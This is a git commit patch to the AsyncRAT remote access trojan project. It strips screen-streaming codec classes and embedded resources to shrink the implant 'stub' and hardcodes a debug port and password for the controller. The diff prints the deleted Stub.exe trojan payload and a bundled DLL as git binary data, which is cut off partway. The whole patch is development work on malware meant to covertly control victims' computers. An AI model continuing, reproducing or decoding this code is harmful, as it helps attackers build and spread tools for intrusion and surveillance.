From 953140bbbf45b7d9e768673fdefd87a91041a759 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 7 May 2019 00:41:52 -0700 Subject: [PATCH] Update remove unnecessary classes to decrease stub size --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 23 - AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 11 +- .../Properties/Resources.Designer.cs | 10 - .../AsyncRAT-Sharp/Properties/Resources.resx | 9 +- .../AsyncRAT-Sharp/Resources/Costura.dll | Bin 4096 -> 0 bytes AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 153088 -> 0 bytes .../AsyncRAT-Sharp/Resources/Stub.exe.config | 3 - AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 31 +- .../StreamLibrary/Codecs/DirectDriverCodec.cs | 160 ------ .../StreamLibrary/Codecs/MJPGCodec.cs | 68 --- .../Codecs/QuickCachedStreamCodec.cs | 204 -------- .../StreamLibrary/Codecs/QuickStreamCodec.cs | 179 ------- .../Codecs/SmallCachedStreamCodec.cs | 374 -------------- .../StreamLibrary/Codecs/SmallStreamCodec.cs | 266 ---------- .../Encoders/GridCoder/GridBlock.cs | 26 - .../Encoders/GridCoder/GridEncoder.cs | 47 -- .../AsyncRAT-Sharp/StreamLibrary/IEncoder.cs | 46 -- .../UnsafeCodecs/UnsafeCacheCodec.cs | 324 ------------ .../UnsafeCodecs/UnsafeCachedStreamCodec.cs | 308 ----------- .../UnsafeCodecs/UnsafeMiniCodec.cs | 365 ------------- .../UnsafeCodecs/UnsafeOptimizedCodec.cs | 473 ----------------- .../UnsafeCodecs/UnsafeQuickStream.cs | 285 ---------- .../AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs | 186 ------- .../StreamLibrary/src/ExtensionAttribute.cs | 12 - .../StreamLibrary/src/Extentions.cs | 59 --- .../StreamLibrary/src/FastBitmap.cs | 353 ------------- .../StreamLibrary/src/MurmurHash2Unsafe.cs | 62 --- .../StreamLibrary/src/PayloadWriter.cs | 113 ---- .../StreamLibrary/src/PointerHelper.cs | 58 --- .../StreamLibrary/src/SafeQuickLZ.cs | 487 ------------------ .../StreamLibrary/src/SimpleBitmap.cs | 177 ------- AsyncRAT-C#/Client/Client.csproj | 40 +- AsyncRAT-C#/Client/Settings.cs | 8 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 34 +- .../StreamLibrary/Codecs/DirectDriverCodec.cs | 160 ------ .../Client/StreamLibrary/Codecs/MJPGCodec.cs | 68 --- .../Codecs/QuickCachedStreamCodec.cs | 204 -------- .../StreamLibrary/Codecs/QuickStreamCodec.cs | 179 ------- .../Codecs/SmallCachedStreamCodec.cs | 374 -------------- .../StreamLibrary/Codecs/SmallStreamCodec.cs | 266 ---------- .../Encoders/GridCoder/GridBlock.cs | 26 - .../Encoders/GridCoder/GridEncoder.cs | 47 -- AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs | 46 -- .../UnsafeCodecs/UnsafeCacheCodec.cs | 324 ------------ .../UnsafeCodecs/UnsafeCachedStreamCodec.cs | 308 ----------- .../UnsafeCodecs/UnsafeMiniCodec.cs | 365 ------------- .../UnsafeCodecs/UnsafeOptimizedCodec.cs | 473 ----------------- .../UnsafeCodecs/UnsafeQuickStream.cs | 285 ---------- AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs | 186 ------- .../StreamLibrary/src/ExtensionAttribute.cs | 12 - .../Client/StreamLibrary/src/Extentions.cs | 59 --- .../Client/StreamLibrary/src/FastBitmap.cs | 353 ------------- .../StreamLibrary/src/MurmurHash2Unsafe.cs | 62 --- .../Client/StreamLibrary/src/PayloadWriter.cs | 113 ---- .../Client/StreamLibrary/src/PointerHelper.cs | 58 --- .../Client/StreamLibrary/src/SafeQuickLZ.cs | 487 ------------------ .../Client/StreamLibrary/src/SimpleBitmap.cs | 177 ------- AsyncRAT-C#/Client/packages.config | 4 +- 58 files changed, 67 insertions(+), 9370 deletions(-) delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/QuickStreamCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 4fc0d12..15b3b3e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -147,35 +147,12 @@ - - - - - - - - - - - - - - - - - - - - - - - FormAbout.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index ab95faa..b5b804d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -41,7 +41,7 @@ namespace AsyncRAT_Sharp { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { - File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); + File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); Process.Start(Application.ExecutablePath); Environment.Exit(0); } @@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"))) - File.WriteAllBytes(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"), Properties.Resources.Stub); + MessageBox.Show("Stub Not Found"); } catch (Exception ex) { @@ -67,6 +67,11 @@ namespace AsyncRAT_Sharp private async void Form1_Load(object sender, EventArgs e) { Text = $"{Settings.Version}"; +#if DEBUG + Settings.Port = "6606"; + Settings.Password = "NYAN CAT"; + Settings.AES = new Aes256(Settings.Password); +#else using (FormPorts portsFrm = new FormPorts()) { portsFrm.ShowDialog(); @@ -74,6 +79,8 @@ namespace AsyncRAT_Sharp Settings.Password = portsFrm.textPassword.Text; Settings.AES = new Aes256(Settings.Password); } +#endif + await Methods.FadeIn(this, 5); trans = true; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 60cf706..b81c6b9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -254,16 +254,6 @@ namespace AsyncRAT_Sharp.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] Stub { - get { - object obj = ResourceManager.GetObject("Stub", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index ac76fbb..4023ed0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -136,9 +136,6 @@ ..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 - ..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -181,13 +178,13 @@ ..\Resources\msgbox.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\Stub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\AsyncRAT-Sharp.exe.config;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.dll deleted file mode 100644 index aadd6de10a74a636cd02803f1d95510e62f7dad5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4096 zcmeHJeQ;D)6+bT_+wjp4D3lhIJ{oML(6^xp5JD*%vI&Vo0@?6Y zC0WdrbV?a;tfS*cTU$G#R7%?!!J-ANGjw#c8A&VRKaNff$c&W2_yHY*rQq+}_cqy( z(*Eywckl1s^Ks8T=iINi=HahVF%gYJy?&kOC|WKNi60Gp5SQKcvobm|eqhc~W%a=*fdGlTt?r4I=HuTK)SqKrJW{c&|Caw4unp(pFTqRfbwnB19_-NZEaz^NPa06;TOoQsGkx(RgMS zlnCPQE1+-Io$11Z2|H+I>@zDBQluLDw7puZ)T%107A|F037Nnih$|i;I*Ya({#L|1 z$FNc^Yh1=!aHtjQV>E<5FJZ;1_03VVr4S7A*p;Ro2h9b;l~vOMzyG6D(d}S>&nbXR z_Suh#L7!zruHv^LdYk%{5LGISv*@SFWO@gp5H-?faAqjGf!`;_*ClR|*emgx#IVF6 zWhZo=0u4L%vL>srfF^gKO+$))Ws>z3qBgN2j!#upQHgQ&hyWsgxc!MV*I5 zjb}YUb*?MYaWmI$c!lhC-AM_r5jTeDww*7G)o(ORu|YVlVOwK`%~q%Fq;(HM-Mpz* zy=`?GDR{_wV~s?Gn{bTGXkopb&KRZ~(I!m2NA}#YgV#DpLc$v>U<1098xgc+Ezd{` z$@h%7VH#e6wAnH|LpO~bf?_$>6KO5b*MhKcH1dholBOAG4J(UIQzSS9YO%fMbjB2E zVR<6i(321{G}02D?d0{NhMuypY(~P(v-0!#kqaj#ob5(JxWQ^-eylgh*7!Eel=o%5 zCj$v~#mo1VJ$wA=_NM0!Uzy(DknW*zs-lz@tE7~mGi3^sWu>p~=-6;)_2AyV@6lYG z^FE?)Vtj}XD(JRY-9kS6d{T}b=>L81(JRj_)-E1Ad8|0{evN*?Ik7;CEc({=vi>_R zwhYZ5*zu=_4!rohdu08*+C#~GPfpZ|au?rut^Y{ddn;a;9G&C+yLWTZmGl4jMCGYt z$#cuj?|*k^=vrdW_`_RY{@u3CjbHuk;y;|YcmI!OzBEJM|Hj`$$?QFwSIj9r@{Kp| zxwP&{oCKv*k+(C^Z1$+V==P0{o@ueI;mo#oId-?pdK>}KDurfhEe-9%n|eX8gvw+}dzBWq4iLxR$Wf;YK@|3kOFojHfo! z<%Scs<)1U#!TmW&p*jLsUJPydTdn4vdO}D3VF6sOpGL;Rp-Mtm-Z( z*Uma1G~Y;-#y>p86BH_ugwM|(c)E0T_Wq5>O8+vncX0cU%^5E}pF6$lldrrvt7*Z3 z*Onh#vhusnY+5(;$Hn#DUr)b(`t1d~2Y;yyJox37=(%|n&ooUx|AQYszNh@feVr$# zJKqWYCi~B;y&rTh30iM%-f9k}+r@nNbb)Wq%BS=Jt9pBawWW2)?UUg+&qGghC ziZ#_euxK#_M(QC6ipuEL>HBXIh^N+UA-BNEmQPW(b z8heS8+9Z z8}PPl0XAS=V$_T;trpPDz()V8i+(Zg@7MUG`)^ME?J1@efgM}}!J!HmXribJtm@>z zj)89p0h<s$aV6dXM^&~p>b!iSrqu>LCXL?^&ysyOPxx@?fECdTSB`Jq=>u8g7zqG7MzZ`G{wBtaQ`E#n6T|h2mYf%C{ zSB__7nG2g)^n3|UCCVPE9-coVW6U9=czvPIr3?Oel)>0q3gef;Y#z8-%&x%_`yC$k zHY_7?p~3U$QlHxlM!29@pCjZv#i8SYb|4|D!L_Ii=PfF|O-Q{Av_|sHnHsUr`>1f- z28?5SBl=bFGG960HTbGk@-ut0dHi_RVmz;Z78&yjyu-aQCjJoo8m)h07V_~|$@n>6 nb;yy6Sa=Vaa+lqFj3)OfhJJieaiK%&?2?aH{lCWlUIzXPY8&fP diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe deleted file mode 100644 index 4f3401cff4356388ff75f6ebd01e61b5ee754819..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 153088 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 